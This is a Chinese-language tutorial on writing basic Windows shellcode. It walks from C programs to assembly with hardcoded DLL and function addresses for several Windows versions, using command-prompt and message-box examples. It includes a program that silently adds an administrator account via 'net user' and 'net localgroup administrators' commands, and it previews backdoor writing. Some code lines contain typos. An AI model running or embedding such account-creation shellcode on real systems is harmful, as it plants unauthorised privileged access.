Windows下ShellCode编写初步
一、初识ShellCode
1. ShellCode理解
指一组计算机能直接执行(不需要点击和编译),实现我们想要功能的机器代码,通常以十六进制数组的形式存在。
2. 简单例子--编写控制台窗口的ShellCode
打开控制台窗口的C程序如下:
#include <windows.h>
int main()
{
LoadLibrary(“msvcrt.dll”); //调用msvcrt.dll动态链接库
system(“command.com”); //使用system函数,执行弹窗命令
return 0;
}
修改后的版本:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC) (LPTSTR); //定义一个函数指针,指向函数的参数是字符串,返回值是空
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”); //加载msvcrt.dll 这个动态链接库,句柄赋给LibHandle
ProcAdd = (MYPROC) GetProcAddress (LibHandle, “system”); //获得system的真实地址,之后再使用这个真实地址来调用system函数,ProcAdd存的是system函数的地址
(ProcAdd) (“command.com”); //调用 system(“ command,com”),实现功能
return 0;
}
win7 sp1系统msvcrt.dll的地址为:0x770C0000
win7 sp1系统system函数的地址为:0x7711816F
说明:VC 调试:Fn+F10 进入调试状态,Debug工具栏中,按钮 “Disassemble” 查看汇编代码,按钮“Registers” 查看寄存器状态。Step Over(F10)进入单步向下执行。当某条指令执行完后,寄存器窗口的各个寄存器值会发生变化。函数的返回值会放在EAX寄存器,因此查看EAX寄存器的值即为msvcrt.dll的地址。
3. windows下的函数调用原理
在windows下,函数的调用需要先把函数所在的动态链接库加载进去,在执行的时候用堆栈传递参数,然后直接call该函数的地址就完成了。如,windows下执行函数Func(argv1, argv2, argv3)过程:
4. 汇编和机器码——真正ShellCode的生成
生成ShellCode的过程:先写出C程序,将其改为汇编程序,再找出汇编程序对应的机器码,拼接起来即为ShellCode。
system(“command.exe”) 的汇编代码如下:
mov esp, ebp;
push ebp;
mov ebp,esp; //把当前esp赋给ebp
xor edi,edi;
push dei; // 压入0, esp-4; 作用是构造字符串的结尾\0字符。
sub esp,08h; //加上上面,一共有12个字节;用来放"command.com"。
mov byte ptr [ebp-0ch],63h; // c
mov byte ptr [ebp-0bh],6fh; // o
mov byte ptr [ebp-0ah],6dh; // m
mov byte ptr [ebp-09h],6Dh; // m
mov byte ptr [ebp-08h],61h; // a
mov byte ptr [ebp-07h],6eh; // n
mov byte ptr [ebp-06h],64h; // d
mov byte ptr [ebp-05h],2Eh; // .
mov byte ptr [ebp-04h],63h; // c
mov byte ptr [ebp-03h],6fh; // o
mov byte ptr [ebp-02h],6dh; // m , 一个一个生成串"command.com".
lea eax, [ebp-0ch];
push eax; // “command.com”字符串地址作为参数入栈
mov eax, 0x7711816F;
call eax; // call system函数的地址
二、ShellCode通用性的初步分析
1. 上述代码的不足
之前ShellCode的缺点:
(1)功能不实用:实际的ShellCode一般都是开个端口让人远程登录,或者下载文件执行等;
(2)不通用:用了固定的函数地址,当系统不同时函数的地址会不同
2. 通用性的初步探索
在每种系统中找出任意想要的动态链接库和函数的地址,C代码如下:
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR):
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");
printf("msvcrt LibHandle = 0x%x\n", LibHandle);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
printf("system = 0x%x\n", ProcAdd);
return 0;
}
由下图可看出win7 sp1系统中msvcrt.dll链接库地址为:0x770c0000,system函数地址为:0x7711b16f ;
注:系统中没有LoadLibray这个函数的,只有LoadLibraryA和LoadLibraryW这两个函数,在ASCII参数时系统会用LoadLibraryA,在Unicode参数时会用LoadLibraryW。LoadLibrary函数属于kernel32.dll,因此可找到winxp sp3系统中kernel32.dll链接库的地址为:0x7c800000,LoadLibrary函数的地址为:0x7c801d7b。
3. 弹出windows对话框ShellCode的编写
windows系统弹出对话框的C代码如下:
#include <windows.h>
int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
MessageBox(0,,"hello_manu","manu",1); //弹出windows对话框,对话框标题为“manu”,里面的内容为“hello_manu”
return 0;
}
注:MessageBox函数:第一个参数表明对话框所属的窗口句柄。如果第一个参数为NULL(即0),那么对话框不属于任何窗口。最后一个参数,是表明对话框的类型。0代表MB_OK,即只有一个‘OK’按钮;1代表MB_OKCANCEL,对话框会有‘OK’和‘Cancel’两个按钮。
4. 添加用户ShellCode的编写
windows中添加用户方法:
(1)在控制面板里的“用户帐号”中添加
(2)在DOS命令行下执行 net user name /add ,要把一个帐户添加到管理员,则要在DOS命令行下执行 net localgroup administrators name /add 。
添加一个名为“c”的管理员的C程序代码如下:
#include <windows.h>
int main()
{
LoadLibray(“msvcrt.dll”);
system(“net user c /add”);
system(“net localgroup administrators c /add”);
return 0;
}
把上面的程序改成汇编:system(“net user c /add”) 按照windows系统执行函数的原理先参数入栈,再call system函数的地址。这里的参数是“net user c /add”字符串的地址,所以先在栈中构造出“net user c /add”。
三、知识点汇总
-
在windows系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478来说,0x77是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把0x77放在字符串中数的最后。
-
LoadLibraryA和system函数的地址在win2000 sp0下,分别是0x77E78023和0x7801AAAD;在sp2下分别是0x77E6A254和0x78019B4A;在sp3下分别是0x77E69F64和0x7801AFC3;在xp sp0下分别是0x77E605D8和0x77BF8044。
-
windows下,存在几种编程接口:
(1)一种是windows API函数。这类函数是和windows系统相关的,使用的也是windows下才特有的数据类型(比如char)。API函数就存在A和W这两种实现,而LoadLibrary是API函数。
(2)一种是C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system函数。 -
区分API函数和C运行库函数
从函数的命名可以看:API函数遵循的是windows自己定义的命名规范,是大小写混写的函数,例如LoadLibrary;C语言标准中,规定函数名称都是小写,所以C运行库函数也遵循全是小写的规范,如system。 -
ShellCode里面不能有0x00,因为0x00是字符串的结束符,如果ShellCode中存在,就会被截断。
四、总结
本章讲解了Windows系统下的ShellCode编写方法,主要思路是先用C代码实现ShellCode的功能(如弹窗,添加用户等),然后改为汇编代码,再进行编译,找出汇编对应的机器码,将机器码拼接起来即为ShellCode。它是一组以十六进制形式表示的数组。另外windows下函数的调用一般使用动态链接库的形式,即先加载函数所在的动态链接库,然后再调用函数。其中,LoadLibrary函数属于"kernel32.dll"动态库,MessageBox函数属于"user32.dll"动态库,system函数属于"msvcrt.dll"动态库。
下一章将进行"后门的编写和ShellCode的提权"等的学习,希望再接再厉!